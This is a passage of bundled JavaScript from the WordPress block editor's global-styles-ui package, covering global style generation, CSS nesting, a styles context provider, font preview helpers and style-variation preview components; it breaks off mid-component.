9166 const duotoneSupport = (0, import_blocks3.getBlockSupport)(
9167 blockType,
9168 "color.__experimentalDuotone",
9169 false
9170 );
9171 duotoneSelector = duotoneSupport && rootSelector && scopeSelector(rootSelector, duotoneSupport);
9172 }
9173 const hasLayoutSupport = !!blockType?.supports?.layout || !!blockType?.supports?.__experimentalLayout;
9174 const fallbackGapValue = (
9175 // @ts-expect-error
9176 blockType?.supports?.spacing?.blockGap?.__experimentalDefault
9177 );
9178 const blockStyleVariations = getBlockStyles(name2);
9179 const styleVariationSelectors = {};
9180 blockStyleVariations?.forEach((variation) => {
9181 const variationSuffix = variationInstanceId ? `-${variationInstanceId}` : "";
9182 const variationName = `${variation.name}${variationSuffix}`;
9183 const styleVariationSelector = getBlockStyleVariationSelector(
9184 variationName,
9185 selector2
9186 );
9187 styleVariationSelectors[variationName] = styleVariationSelector;
9188 });
9189 const featureSelectors = getSelectorsConfig(blockType, selector2);
9190 result[name2] = {
9191 duotoneSelector: duotoneSelector ?? void 0,
9192 fallbackGapValue,
9193 featureSelectors: Object.keys(featureSelectors).length ? featureSelectors : void 0,
9194 hasLayoutSupport,
9195 name: name2,
9196 selector: selector2,
9197 styleVariationSelectors: blockStyleVariations?.length ? styleVariationSelectors : void 0
9198 };
9199 });
9200 return result;
9201 };
9202 function updateConfigWithSeparator(config2) {
9203 const blocks = config2.styles?.blocks;
9204 const separatorBlock = blocks?.["core/separator"];
9205 const needsSeparatorStyleUpdate = separatorBlock && separatorBlock.color?.background && !separatorBlock.color?.text && !separatorBlock.border?.color;
9206 if (needsSeparatorStyleUpdate) {
9207 return {
9208 ...config2,
9209 styles: {
9210 ...config2.styles,
9211 blocks: {
9212 ...blocks,
9213 "core/separator": {
9214 ...separatorBlock,
9215 color: {
9216 ...separatorBlock.color,
9217 text: separatorBlock.color?.background
9218 }
9219 }
9220 }
9221 }
9222 };
9223 }
9224 return config2;
9225 }
9226 function processCSSNesting(css, blockSelector) {
9227 let processedCSS = "";
9228 if (!css || css.trim() === "") {
9229 return processedCSS;
9230 }
9231 const parts = css.split("&");
9232 parts.forEach((part) => {
9233 if (!part || part.trim() === "") {
9234 return;
9235 }
9236 const isRootCss = !part.includes("{");
9237 if (isRootCss) {
9238 processedCSS += `:root :where(${blockSelector}){${part.trim()}}`;
9239 } else {
9240 const splitPart = part.replace("}", "").split("{");
9241 if (splitPart.length !== 2) {
9242 return;
9243 }
9244 const [nestedSelector, cssValue] = splitPart;
9245 const matches = nestedSelector.match(/([>+~\s]*::[a-zA-Z-]+)/);
9246 const pseudoPart = matches ? matches[1] : "";
9247 const withoutPseudoElement = matches ? nestedSelector.replace(pseudoPart, "").trim() : nestedSelector.trim();
9248 let combinedSelector;
9249 if (withoutPseudoElement === "") {
9250 combinedSelector = blockSelector;
9251 } else {
9252 combinedSelector = nestedSelector.startsWith(" ") ? scopeSelector(blockSelector, withoutPseudoElement) : appendToSelector(blockSelector, withoutPseudoElement);
9253 }
9254 processedCSS += `:root :where(${combinedSelector})${pseudoPart}{${cssValue.trim()}}`;
9255 }
9256 });
9257 return processedCSS;
9258 }
9259 function generateGlobalStyles(config2 = {}, blockTypes = [], options = {}) {
9260 const {
9261 hasBlockGapSupport: hasBlockGapSupportOption,
9262 hasFallbackGapSupport: hasFallbackGapSupportOption,
9263 disableLayoutStyles = false,
9264 disableRootPadding = false,
9265 styleOptions = {}
9266 } = options;
9267 const blocks = blockTypes.length > 0 ? blockTypes : (0, import_blocks3.getBlockTypes)();
9268 const blockGap = getSetting(config2, "spacing.blockGap");
9269 const hasBlockGapSupport = hasBlockGapSupportOption ?? blockGap !== null;
9270 const hasFallbackGapSupport = hasFallbackGapSupportOption ?? !hasBlockGapSupport;
9271 if (!config2?.styles || !config2?.settings) {
9272 return [[], {}];
9273 }
9274 const updatedConfig = updateConfigWithSeparator(config2);
9275 const blockSelectors = getBlockSelectors(blocks);
9276 const customProperties = generateCustomProperties(
9277 updatedConfig,
9278 blockSelectors
9279 );
9280 const globalStyles = transformToStyles(
9281 updatedConfig,
9282 blockSelectors,
9283 hasBlockGapSupport,
9284 hasFallbackGapSupport,
9285 disableLayoutStyles,
9286 disableRootPadding,
9287 styleOptions
9288 );
9289 const svgs = generateSvgFilters(updatedConfig, blockSelectors);
9290 const styles = [
9291 {
9292 css: customProperties,
9293 isGlobalStyles: true
9294 },
9295 {
9296 css: globalStyles,
9297 isGlobalStyles: true
9298 },
9299 // Load custom CSS in own stylesheet so that any invalid CSS entered in the input won't break all the global styles in the editor.
9300 {
9301 css: updatedConfig?.styles?.css ?? "",
9302 isGlobalStyles: true
9303 },
9304 {
9305 assets: svgs,
9306 __unstableType: "svg",
9307 isGlobalStyles: true
9308 }
9309 ];
9310 blocks.forEach((blockType) => {
9311 const blockStyles = updatedConfig?.styles?.blocks?.[blockType.name];
9312 if (blockStyles?.css) {
9313 const selector2 = blockSelectors[blockType.name].selector;
9314 styles.push({
9315 css: processCSSNesting(blockStyles.css, selector2),
9316 isGlobalStyles: true
9317 });
9318 }
9319 });
9320 return [styles, updatedConfig.settings];
9321 }
9322
9323 // packages/global-styles-ui/build-module/provider.mjs
9324 var import_element19 = __toESM(require_element(), 1);
9325
9326 // packages/global-styles-ui/build-module/context.mjs
9327 var import_element18 = __toESM(require_element(), 1);
9328 var GlobalStylesContext = (0, import_element18.createContext)({
9329 user: { styles: {}, settings: {} },
9330 base: { styles: {}, settings: {} },
9331 merged: { styles: {}, settings: {} },
9332 onChange: () => {
9333 },
9334 fontLibraryEnabled: false
9335 });
9336
9337 // packages/global-styles-ui/build-module/provider.mjs
9338 var import_jsx_runtime81 = __toESM(require_jsx_runtime(), 1);
9339 function GlobalStylesProvider({
9340 children,
9341 value,
9342 baseValue,
9343 onChange,
9344 fontLibraryEnabled
9345 }) {
9346 const merged = (0, import_element19.useMemo)(() => {
9347 return mergeGlobalStyles(baseValue, value);
9348 }, [baseValue, value]);
9349 const contextValue = (0, import_element19.useMemo)(
9350 () => ({
9351 user: value,
9352 base: baseValue,
9353 merged,
9354 onChange,
9355 fontLibraryEnabled
9356 }),
9357 [value, baseValue, merged, onChange, fontLibraryEnabled]
9358 );
9359 return /* @__PURE__ */ (0, import_jsx_runtime81.jsx)(GlobalStylesContext.Provider, { value: contextValue, children });
9360 }
9361
9362 // packages/global-styles-ui/build-module/screen-root.mjs
9363 var import_components18 = __toESM(require_components(), 1);
9364 var import_i18n15 = __toESM(require_i18n(), 1);
9365 var import_data19 = __toESM(require_data(), 1);
9366 var import_core_data15 = __toESM(require_core_data(), 1);
9367
9368 // packages/global-styles-ui/build-module/icon-with-current-color.mjs
9369 var import_jsx_runtime82 = __toESM(require_jsx_runtime(), 1);
9370 function IconWithCurrentColor({
9371 className,
9372 ...props
9373 }) {
9374 return /* @__PURE__ */ (0, import_jsx_runtime82.jsx)(
9375 icon_default,
9376 {
9377 className: clsx_default(
9378 className,
9379 "global-styles-ui-icon-with-current-color"
9380 ),
9381 ...props
9382 }
9383 );
9384 }
9385
9386 // packages/global-styles-ui/build-module/navigation-button.mjs
9387 var import_components12 = __toESM(require_components(), 1);
9388 var import_jsx_runtime83 = __toESM(require_jsx_runtime(), 1);
9389 function GenericNavigationButton({
9390 icon,
9391 children,
9392 ...props
9393 }) {
9394 return /* @__PURE__ */ (0, import_jsx_runtime83.jsxs)(import_components12.__experimentalItem, { ...props, children: [
9395 icon && /* @__PURE__ */ (0, import_jsx_runtime83.jsxs)(import_components12.__experimentalHStack, { justify: "flex-start", children: [
9396 /* @__PURE__ */ (0, import_jsx_runtime83.jsx)(IconWithCurrentColor, { icon, size: 24 }),
9397 /* @__PURE__ */ (0, import_jsx_runtime83.jsx)(import_components12.FlexItem, { children })
9398 ] }),
9399 !icon && children
9400 ] });
9401 }
9402 function NavigationButtonAsItem(props) {
9403 return /* @__PURE__ */ (0, import_jsx_runtime83.jsx)(import_components12.Navigator.Button, { as: GenericNavigationButton, ...props });
9404 }
9405
9406 // packages/global-styles-ui/build-module/root-menu.mjs
9407 var import_components13 = __toESM(require_components(), 1);
9408 var import_i18n13 = __toESM(require_i18n(), 1);
9409 var import_block_editor4 = __toESM(require_block_editor(), 1);
9410
9411 // node_modules/colord/plugins/a11y.mjs
9412 var o2 = function(o3) {
9413 var t3 = o3 / 255;
9414 return t3 < 0.04045 ? t3 / 12.92 : Math.pow((t3 + 0.055) / 1.055, 2.4);
9415 };
9416 var t2 = function(t3) {
9417 return 0.2126 * o2(t3.r) + 0.7152 * o2(t3.g) + 0.0722 * o2(t3.b);
9418 };
9419 function a11y_default(o3) {
9420 o3.prototype.luminance = function() {
9421 return o4 = t2(this.rgba), void 0 === (r3 = 2) && (r3 = 0), void 0 === n2 && (n2 = Math.pow(10, r3)), Math.round(n2 * o4) / n2 + 0;
9422 var o4, r3, n2;
9423 }, o3.prototype.contrast = function(r3) {
9424 void 0 === r3 && (r3 = "#FFF");
9425 var n2, a2, i2, e2, v2, u2, d2, c6 = r3 instanceof o3 ? r3 : new o3(r3);
9426 return e2 = this.rgba, v2 = c6.toRgb(), u2 = t2(e2), d2 = t2(v2), n2 = u2 > d2 ? (u2 + 0.05) / (d2 + 0.05) : (d2 + 0.05) / (u2 + 0.05), void 0 === (a2 = 2) && (a2 = 0), void 0 === i2 && (i2 = Math.pow(10, a2)), Math.floor(i2 * n2) / i2 + 0;
9427 }, o3.prototype.isReadable = function(o4, t3) {
9428 return void 0 === o4 && (o4 = "#FFF"), void 0 === t3 && (t3 = {}), this.contrast(o4) >= (e2 = void 0 === (i2 = (r3 = t3).size) ? "normal" : i2, "AAA" === (a2 = void 0 === (n2 = r3.level) ? "AA" : n2) && "normal" === e2 ? 7 : "AA" === a2 && "large" === e2 ? 3 : 4.5);
9429 var r3, n2, a2, i2, e2;
9430 };
9431 }
9432
9433 // packages/global-styles-ui/build-module/hooks.mjs
9434 var import_element20 = __toESM(require_element(), 1);
9435 var import_data18 = __toESM(require_data(), 1);
9436 var import_core_data14 = __toESM(require_core_data(), 1);
9437 var import_i18n12 = __toESM(require_i18n(), 1);
9438
9439 // packages/global-styles-ui/build-module/utils.mjs
9440 function removePropertiesFromObject(object, properties) {
9441 if (!properties?.length) {
9442 return object;
9443 }
9444 if (typeof object !== "object" || !object || !Object.keys(object).length) {
9445 return object;
9446 }
9447 for (const key in object) {
9448 if (properties.includes(key)) {
9449 delete object[key];
9450 } else if (typeof object[key] === "object") {
9451 removePropertiesFromObject(object[key], properties);
9452 }
9453 }
9454 return object;
9455 }
9456 var filterObjectByProperties = (object, properties) => {
9457 if (!object || !properties?.length) {
9458 return {};
9459 }
9460 const newObject = {};
9461 Object.keys(object).forEach((key) => {
9462 if (properties.includes(key)) {
9463 newObject[key] = object[key];
9464 } else if (typeof object[key] === "object") {
9465 const newFilter = filterObjectByProperties(
9466 object[key],
9467 properties
9468 );
9469 if (Object.keys(newFilter).length) {
9470 newObject[key] = newFilter;
9471 }
9472 }
9473 });
9474 return newObject;
9475 };
9476 function isVariationWithProperties(variation, properties) {
9477 const variationWithProperties = filterObjectByProperties(
9478 structuredClone(variation),
9479 properties
9480 );
9481 return areGlobalStylesEqual(variationWithProperties, variation);
9482 }
9483 function getFontFamilyFromSetting(fontFamilies, setting) {
9484 if (!Array.isArray(fontFamilies) || !setting) {
9485 return null;
9486 }
9487 const fontFamilyVariable = setting.replace("var(", "").replace(")", "");
9488 const fontFamilySlug = fontFamilyVariable?.split("--").slice(-1)[0];
9489 return fontFamilies.find(
9490 (fontFamily) => fontFamily.slug === fontFamilySlug
9491 );
9492 }
9493 function getFontFamilies(themeJson) {
9494 const themeFontFamilies = themeJson?.settings?.typography?.fontFamilies?.theme;
9495 const customFontFamilies = themeJson?.settings?.typography?.fontFamilies?.custom;
9496 let fontFamilies = [];
9497 if (themeFontFamilies && customFontFamilies) {
9498 fontFamilies = [...themeFontFamilies, ...customFontFamilies];
9499 } else if (themeFontFamilies) {
9500 fontFamilies = themeFontFamilies;
9501 } else if (customFontFamilies) {
9502 fontFamilies = customFontFamilies;
9503 }
9504 const bodyFontFamilySetting = themeJson?.styles?.typography?.fontFamily;
9505 const bodyFontFamily = getFontFamilyFromSetting(
9506 fontFamilies,
9507 bodyFontFamilySetting
9508 );
9509 const headingFontFamilySetting = themeJson?.styles?.elements?.heading?.typography?.fontFamily;
9510 let headingFontFamily;
9511 if (!headingFontFamilySetting) {
9512 headingFontFamily = bodyFontFamily;
9513 } else {
9514 headingFontFamily = getFontFamilyFromSetting(
9515 fontFamilies,
9516 themeJson?.styles?.elements?.heading?.typography?.fontFamily
9517 );
9518 }
9519 return [bodyFontFamily, headingFontFamily];
9520 }
9521
9522 // packages/global-styles-ui/build-module/hooks.mjs
9523 k([a11y_default]);
9524 function useStyle2(path, blockName, readFrom = "merged", shouldDecodeEncode = true) {
9525 const { user, base, merged, onChange } = (0, import_element20.useContext)(GlobalStylesContext);
9526 let sourceValue = merged;
9527 if (readFrom === "base") {
9528 sourceValue = base;
9529 } else if (readFrom === "user") {
9530 sourceValue = user;
9531 }
9532 const styleValue = (0, import_element20.useMemo)(
9533 () => getStyle(sourceValue, path, blockName, shouldDecodeEncode),
9534 [sourceValue, path, blockName, shouldDecodeEncode]
9535 );
9536 const setStyleValue = (0, import_element20.useCallback)(
9537 (newValue) => {
9538 const newGlobalStyles = setStyle(
9539 user,
9540 path,
9541 newValue,
9542 blockName
9543 );
9544 onChange(newGlobalStyles);
9545 },
9546 [user, onChange, path, blockName]
9547 );
9548 return [styleValue, setStyleValue];
9549 }
9550 function useSetting(path, blockName, readFrom = "merged") {
9551 const { user, base, merged, onChange } = (0, import_element20.useContext)(GlobalStylesContext);
9552 let sourceValue = merged;
9553 if (readFrom === "base") {
9554 sourceValue = base;
9555 } else if (readFrom === "user") {
9556 sourceValue = user;
9557 }
9558 const settingValue = (0, import_element20.useMemo)(
9559 () => getSetting(sourceValue, path, blockName),
9560 [sourceValue, path, blockName]
9561 );
9562 const setSettingValue = (0, import_element20.useCallback)(
9563 (newValue) => {
9564 const newGlobalStyles = setSetting(
9565 user,
9566 path,
9567 newValue,
9568 blockName
9569 );
9570 onChange(newGlobalStyles);
9571 },
9572 [user, onChange, path, blockName]
9573 );
9574 return [settingValue, setSettingValue];
9575 }
9576 var EMPTY_ARRAY3 = [];
9577 function hasThemeVariation({
9578 title,
9579 settings: settings2,
9580 styles
9581 }) {
9582 return title === (0, import_i18n12.__)("Default") || Object.keys(settings2 || {}).length > 0 || Object.keys(styles || {}).length > 0;
9583 }
9584 function useCurrentMergeThemeStyleVariationsWithUserConfig(properties = []) {
9585 const { variationsFromTheme } = (0, import_data18.useSelect)((select3) => {
9586 const _variationsFromTheme = select3(
9587 import_core_data14.store
9588 ).__experimentalGetCurrentThemeGlobalStylesVariations?.();
9589 return {
9590 variationsFromTheme: _variationsFromTheme || EMPTY_ARRAY3
9591 };
9592 }, []);
9593 const { user: userVariation } = (0, import_element20.useContext)(GlobalStylesContext);
9594 return (0, import_element20.useMemo)(() => {
9595 const clonedUserVariation = structuredClone(userVariation);
9596 const userVariationWithoutProperties = removePropertiesFromObject(
9597 clonedUserVariation,
9598 properties
9599 );
9600 userVariationWithoutProperties.title = (0, import_i18n12.__)("Default");
9601 const variationsWithPropertiesAndBase = variationsFromTheme.filter((variation) => {
9602 return isVariationWithProperties(variation, properties);
9603 }).map((variation) => {
9604 return mergeGlobalStyles(
9605 userVariationWithoutProperties,
9606 variation
9607 );
9608 });
9609 const variationsByProperties = [
9610 userVariationWithoutProperties,
9611 ...variationsWithPropertiesAndBase
9612 ];
9613 return variationsByProperties?.length ? variationsByProperties.filter(hasThemeVariation) : [];
9614 }, [properties, userVariation, variationsFromTheme]);
9615 }
9616
9617 // packages/global-styles-ui/build-module/lock-unlock.mjs
9618 var import_private_apis2 = __toESM(require_private_apis(), 1);
9619 var { lock: lock2, unlock: unlock2 } = (0, import_private_apis2.__dangerousOptInToUnstableAPIsOnlyForCoreModules)(
9620 "I acknowledge private features are not for use in themes or plugins and doing so will break in the next version of WordPress.",
9621 "@wordpress/global-styles-ui"
9622 );
9623
9624 // packages/global-styles-ui/build-module/root-menu.mjs
9625 var import_jsx_runtime84 = __toESM(require_jsx_runtime(), 1);
9626 var {
9627 useHasDimensionsPanel,
9628 useHasTypographyPanel,
9629 useHasColorPanel,
9630 useSettingsForBlockElement,
9631 useHasBackgroundPanel
9632 } = unlock2(import_block_editor4.privateApis);
9633
9634 // packages/global-styles-ui/build-module/preview-styles.mjs
9635 var import_components17 = __toESM(require_components(), 1);
9636
9637 // packages/global-styles-ui/build-module/preview-hooks.mjs
9638 function useStylesPreviewColors() {
9639 const [textColor = "black"] = useStyle2("color.text");
9640 const [backgroundColor = "white"] = useStyle2("color.background");
9641 const [headingColor = textColor] = useStyle2(
9642 "elements.h1.color.text"
9643 );
9644 const [linkColor = headingColor] = useStyle2(
9645 "elements.link.color.text"
9646 );
9647 const [buttonBackgroundColor = linkColor] = useStyle2(
9648 "elements.button.color.background"
9649 );
9650 const [coreColors] = useSetting("color.palette.core") || [];
9651 const [themeColors] = useSetting("color.palette.theme") || [];
9652 const [customColors] = useSetting("color.palette.custom") || [];
9653 const paletteColors = (themeColors ?? []).concat(customColors ?? []).concat(coreColors ?? []);
9654 const textColorObject = paletteColors.filter(
9655 ({ color }) => color === textColor
9656 );
9657 const buttonBackgroundColorObject = paletteColors.filter(
9658 ({ color }) => color === buttonBackgroundColor
9659 );
9660 const highlightedColors = textColorObject.concat(buttonBackgroundColorObject).concat(paletteColors).filter(
9661 // we exclude these background color because it is already visible in the preview.
9662 ({ color }) => color !== backgroundColor
9663 ).slice(0, 2);
9664 return {
9665 paletteColors,
9666 highlightedColors
9667 };
9668 }
9669
9670 // packages/global-styles-ui/build-module/typography-example.mjs
9671 var import_element21 = __toESM(require_element(), 1);
9672 var import_components14 = __toESM(require_components(), 1);
9673 var import_i18n14 = __toESM(require_i18n(), 1);
9674
9675 // packages/global-styles-ui/build-module/font-library/utils/preview-styles.mjs
9676 function findNearest(input, numbers) {
9677 if (numbers.length === 0) {
9678 return null;
9679 }
9680 numbers.sort((a2, b2) => Math.abs(input - a2) - Math.abs(input - b2));
9681 return numbers[0];
9682 }
9683 function extractFontWeights(fontFaces) {
9684 const result = [];
9685 fontFaces.forEach((face) => {
9686 const weights = String(face.fontWeight).split(" ");
9687 if (weights.length === 2) {
9688 const start2 = parseInt(weights[0]);
9689 const end = parseInt(weights[1]);
9690 for (let i2 = start2; i2 <= end; i2 += 100) {
9691 result.push(i2);
9692 }
9693 } else if (weights.length === 1) {
9694 result.push(parseInt(weights[0]));
9695 }
9696 });
9697 return result;
9698 }
9699 function formatFontFamily(input) {
9700 const regex = /^(?!generic\([ a-zA-Z\-]+\)$)(?!^[a-zA-Z\-]+$).+/;
9701 const output = input.trim();
9702 const formatItem = (item) => {
9703 item = item.trim();
9704 if (item.match(regex)) {
9705 item = item.replace(/^["']|["']$/g, "");
9706 return `"${item}"`;
9707 }
9708 return item;
9709 };
9710 if (output.includes(",")) {
9711 return output.split(",").map(formatItem).filter((item) => item !== "").join(", ");
9712 }
9713 return formatItem(output);
9714 }
9715 function getFamilyPreviewStyle(family) {
9716 const style = {
9717 fontFamily: formatFontFamily(family.fontFamily)
9718 };
9719 if (!("fontFace" in family) || !Array.isArray(family.fontFace)) {
9720 style.fontWeight = "400";
9721 style.fontStyle = "normal";
9722 return style;
9723 }
9724 if (family.fontFace) {
9725 const normalFaces = family.fontFace.filter(
9726 (face) => face?.fontStyle && face.fontStyle.toLowerCase() === "normal"
9727 );
9728 if (normalFaces.length > 0) {
9729 style.fontStyle = "normal";
9730 const normalWeights = extractFontWeights(normalFaces);
9731 const nearestWeight = findNearest(400, normalWeights);
9732 style.fontWeight = String(nearestWeight) || "400";
9733 } else {
9734 style.fontStyle = family.fontFace.length && family.fontFace[0].fontStyle || "normal";
9735 style.fontWeight = family.fontFace.length && String(family.fontFace[0].fontWeight) || "400";
9736 }
9737 }
9738 return style;
9739 }
9740
9741 // packages/global-styles-ui/build-module/typography-example.mjs
9742 var import_jsx_runtime85 = __toESM(require_jsx_runtime(), 1);
9743 function PreviewTypography({
9744 fontSize,
9745 variation
9746 }) {
9747 const { base } = (0, import_element21.useContext)(GlobalStylesContext);
9748 let config2 = base;
9749 if (variation) {
9750 config2 = { ...base, ...variation };
9751 }
9752 const [textColor] = useStyle2("color.text");
9753 const [bodyFontFamilies, headingFontFamilies] = getFontFamilies(config2);
9754 const bodyPreviewStyle = bodyFontFamilies ? getFamilyPreviewStyle(bodyFontFamilies) : {};
9755 const headingPreviewStyle = headingFontFamilies ? getFamilyPreviewStyle(headingFontFamilies) : {};
9756 if (textColor) {
9757 bodyPreviewStyle.color = textColor;
9758 headingPreviewStyle.color = textColor;
9759 }
9760 if (fontSize) {
9761 bodyPreviewStyle.fontSize = fontSize;
9762 headingPreviewStyle.fontSize = fontSize;
9763 }
9764 return /* @__PURE__ */ (0, import_jsx_runtime85.jsxs)(
9765 import_components14.__unstableMotion.div,
9766 {
9767 animate: {
9768 scale: 1,
9769 opacity: 1
9770 },
9771 initial: {
9772 scale: 0.1,
9773 opacity: 0
9774 },
9775 transition: {
9776 delay: 0.3,
9777 type: "tween"
9778 },
9779 style: {
9780 textAlign: "center",
9781 lineHeight: 1
9782 },
9783 children: [
9784 /* @__PURE__ */ (0, import_jsx_runtime85.jsx)("span", { style: headingPreviewStyle, children: (0, import_i18n14._x)("A", "Uppercase letter A") }),
9785 /* @__PURE__ */ (0, import_jsx_runtime85.jsx)("span", { style: bodyPreviewStyle, children: (0, import_i18n14._x)("a", "Lowercase letter A") })
9786 ]
9787 }
9788 );
9789 }
9790
9791 // packages/global-styles-ui/build-module/highlighted-colors.mjs
9792 var import_components15 = __toESM(require_components(), 1);
9793 var import_jsx_runtime86 = __toESM(require_jsx_runtime(), 1);
9794 function HighlightedColors({
9795 normalizedColorSwatchSize,
9796 ratio
9797 }) {
9798 const { highlightedColors } = useStylesPreviewColors();
9799 const scaledSwatchSize = normalizedColorSwatchSize * ratio;
9800 return highlightedColors.map(({ slug, color }, index) => /* @__PURE__ */ (0, import_jsx_runtime86.jsx)(
9801 import_components15.__unstableMotion.div,
9802 {
9803 style: {
9804 height: scaledSwatchSize,
9805 width: scaledSwatchSize,
9806 background: color,
9807 borderRadius: scaledSwatchSize / 2
9808 },
9809 animate: {
9810 scale: 1,
9811 opacity: 1
9812 },
9813 initial: {
9814 scale: 0.1,
9815 opacity: 0
9816 },
9817 transition: {
9818 delay: index === 1 ? 0.2 : 0.1
9819 }
9820 },
9821 `${slug}-${index}`
9822 ));
9823 }
9824
9825 // packages/global-styles-ui/build-module/preview-wrapper.mjs
9826 var import_components16 = __toESM(require_components(), 1);
9827 var import_compose3 = __toESM(require_compose(), 1);
9828 var import_element22 = __toESM(require_element(), 1);
9829 var import_jsx_runtime87 = __toESM(require_jsx_runtime(), 1);
9830 var normalizedWidth = 248;
9831 var normalizedHeight = 152;
9832 var THROTTLE_OPTIONS = {
9833 leading: true,
9834 trailing: true
9835 };
9836 function PreviewWrapper({
9837 children,
9838 label,
9839 isFocused,
9840 withHoverView
9841 }) {
9842 const [backgroundColor = "white"] = useStyle2("color.background");
9843 const [gradientValue] = useStyle2("color.gradient");
9844 const disableMotion = (0, import_compose3.useReducedMotion)();
9845 const [isHovered, setIsHovered] = (0, import_element22.useState)(false);
9846 const [containerResizeListener, { width }] = (0, import_compose3.useResizeObserver)();
9847 const [throttledWidth, setThrottledWidthState] = (0, import_element22.useState)(width);
9848 const [ratioState, setRatioState] = (0, import_element22.useState)();
9849 const setThrottledWidth = (0, import_compose3.useThrottle)(
9850 setThrottledWidthState,
9851 250,
9852 THROTTLE_OPTIONS
9853 );
9854 (0, import_element22.useLayoutEffect)(() => {
9855 if (width) {
9856 setThrottledWidth(width);
9857 }
9858 }, [width, setThrottledWidth]);
9859 (0, import_element22.useLayoutEffect)(() => {
9860 const newRatio = throttledWidth ? throttledWidth / normalizedWidth : 1;
9861 const ratioDiff = newRatio - (ratioState || 0);
9862 const isRatioDiffBigEnough = Math.abs(ratioDiff) > 0.1;
9863 if (isRatioDiffBigEnough || !ratioState) {
9864 setRatioState(newRatio);
9865 }
9866 }, [throttledWidth, ratioState]);
9867 const fallbackRatio = width ? width / normalizedWidth : 1;
9868 const ratio = ratioState ? ratioState : fallbackRatio;
9869 const isReady = !!width;
9870 return /* @__PURE__ */ (0, import_jsx_runtime87.jsxs)(import_jsx_runtime87.Fragment, { children: [
9871 /* @__PURE__ */ (0, import_jsx_runtime87.jsx)("div", { style: { position: "relative" }, children: containerResizeListener }),
9872 isReady && /* @__PURE__ */ (0, import_jsx_runtime87.jsx)(
9873 "div",
9874 {
9875 className: "global-styles-ui-preview__wrapper",
9876 style: {
9877 height: normalizedHeight * ratio
9878 },
9879 onMouseEnter: () => setIsHovered(true),
9880 onMouseLeave: () => setIsHovered(false),
9881 tabIndex: -1,
9882 children: /* @__PURE__ */ (0, import_jsx_runtime87.jsx)(
9883 import_components16.__unstableMotion.div,
9884 {
9885 style: {
9886 height: normalizedHeight * ratio,
9887 width: "100%",
9888 background: gradientValue ?? backgroundColor,
9889 cursor: withHoverView ? "pointer" : void 0
9890 },
9891 initial: "start",
9892 animate: (isHovered || isFocused) && !disableMotion && label ? "hover" : "start",
9893 children: [].concat(children).map(
9894 (child, key) => child({ ratio, key })
9895 )
9896 }
9897 )
9898 }
9899 )
9900 ] });
9901 }
9902 var preview_wrapper_default = PreviewWrapper;
9903
9904 // packages/global-styles-ui/build-module/preview-styles.mjs
9905 var import_jsx_runtime88 = __toESM(require_jsx_runtime(), 1);
9906 var firstFrameVariants = {
9907 start: {
9908 scale: 1,
9909 opacity: 1
9910 },
9911 hover: {
9912 scale: 0,
9913 opacity: 0
9914 }
9915 };
9916 var midFrameVariants = {
9917 hover: {
9918 opacity: 1
9919 },
9920 start: {
9921 opacity: 0.5
9922 }
9923 };
9924 var secondFrameVariants = {
9925 hover: {
9926 scale: 1,
9927 opacity: 1
9928 },
9929 start: {
9930 scale: 0,
9931 opacity: 0
9932 }
9933 };
9934 function PreviewStyles({
9935 label,
9936 isFocused,
9937 withHoverView,
9938 variation
9939 }) {
9940 const [fontWeight] = useStyle2("typography.fontWeight");
9941 const [fontFamily = "serif"] = useStyle2(
9942 "typography.fontFamily"
9943 );
9944 const [headingFontFamily = fontFamily] = useStyle2(
9945 "elements.h1.typography.fontFamily"
9946 );
9947 const [headingFontWeight = fontWeight] = useStyle2(
9948 "elements.h1.typography.fontWeight"
9949 );
9950 const [textColor = "black"] = useStyle2("color.text");
9951 const [headingColor = textColor] = useStyle2(
9952 "elements.h1.color.text"
9953 );
9954 const { paletteColors } = useStylesPreviewColors();
9955 return /* @__PURE__ */ (0, import_jsx_runtime88.jsxs)(
9956 preview_wrapper_default,
9957 {
9958 label,
9959 isFocused,
9960 withHoverView,
9961 children: [
9962 ({ ratio, key }) => /* @__PURE__ */ (0, import_jsx_runtime88.jsx)(
9963 import_components17.__unstableMotion.div,
9964 {
9965 variants: firstFrameVariants,
9966 style: {
9967 height: "100%",
9968 overflow: "hidden"
9969 },
9970 children: /* @__PURE__ */ (0, import_jsx_runtime88.jsxs)(
9971 import_components17.__experimentalHStack,
9972 {
9973 spacing: 10 * ratio,
9974 justify: "center",
9975 style: {
9976 height: "100%",
9977 overflow: "hidden"
9978 },
9979 children: [
9980 /* @__PURE__ */ (0, import_jsx_runtime88.jsx)(
9981 PreviewTypography,
9982 {
9983 fontSize: 65 * ratio,
9984 variation
9985 }
9986 ),
9987 /* @__PURE__ */ (0, import_jsx_runtime88.jsx)(import_components17.__experimentalVStack, { spacing: 4 * ratio, children: /* @__PURE__ */ (0, import_jsx_runtime88.jsx)(
9988 HighlightedColors,
9989 {
9990 normalizedColorSwatchSize: 32,
9991 ratio
9992 }
9993 ) })
9994 ]
9995 }
9996 )
9997 },
9998 key
9999 ),
10000 ({ key }) => /* @__PURE__ */ (0, import_jsx_runtime88.jsx)(
10001 import_components17.__unstableMotion.div,
10002 {
10003 variants: withHoverView ? midFrameVariants : void 0,
10004 style: {
10005 height: "100%",
10006 width: "100%",
10007 position: "absolute",
10008 top: 0,
10009 overflow: "hidden",
10010 filter: "blur(60px)",
10011 opacity: 0.1
10012 },
10013 children: /* @__PURE__ */ (0, import_jsx_runtime88.jsx)(
10014 import_components17.__experimentalHStack,
10015 {
10016 spacing: 0,
10017 justify: "flex-start",
10018 style: {
10019 height: "100%",
10020 overflow: "hidden"
10021 },
10022 children: paletteColors.slice(0, 4).map(({ color }, index) => /* @__PURE__ */ (0, import_jsx_runtime88.jsx)(
10023 "div",
10024 {
10025 style: {
10026 height: "100%",
10027 background: color,
10028 flexGrow: 1
10029 }
10030 },
10031 index
10032 ))
10033 }
10034 )
10035 },
10036 key
10037 ),
10038 ({ ratio, key }) => /* @__PURE__ */ (0, import_jsx_runtime88.jsx)(
10039 import_components17.__unstableMotion.div,
10040 {
10041 variants: secondFrameVariants,
10042 style: {
10043 height: "100%",
10044 width: "100%",
10045 overflow: "hidden",
10046 position: "absolute",
10047 top: 0
10048 },
10049 children: /* @__PURE__ */ (0, import_jsx_runtime88.jsx)(
10050 import_components17.__experimentalVStack,
10051 {
10052 spacing: 3 * ratio,
10053 justify: "center",
10054 style: {
10055 height: "100%",
10056 overflow: "hidden",
10057 padding: 10 * ratio,
10058 boxSizing: "border-box"
10059 },
10060 children: label && /* @__PURE__ */ (0, import_jsx_runtime88.jsx)(
10061 "div",
10062 {
10063 style: {
10064 fontSize: 40 * ratio,
10065 fontFamily: headingFontFamily,
10066 color: headingColor,
10067 fontWeight: headingFontWeight,
10068 lineHeight: "1em",
